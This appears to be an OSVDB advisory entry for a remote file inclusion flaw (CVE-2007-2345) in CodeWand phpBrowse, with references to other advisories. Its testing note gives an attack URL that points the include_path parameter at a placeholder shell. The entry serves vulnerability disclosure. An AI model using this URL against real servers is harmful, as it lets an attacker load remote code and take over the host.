CodeWand phpBrowse include/include_stream.inc.php include_path Variable Remote File Inclusion

2007-04-05T05:03:25
ID OSVDB:34636
Type osvdb
Reporter OSVDB
Modified 2007-04-05T05:03:25

Description

Manual Testing Notes

http://[target]/path/include/include_stream.inc.php?include_path=[SHELL]

References:

Vendor URL: http://www.codewand.org/ Secunia Advisory ID:24789 Other Advisory URL: http://www.milw0rm.com/exploits/3668 CVE-2007-2345 Bugtraq ID: 23329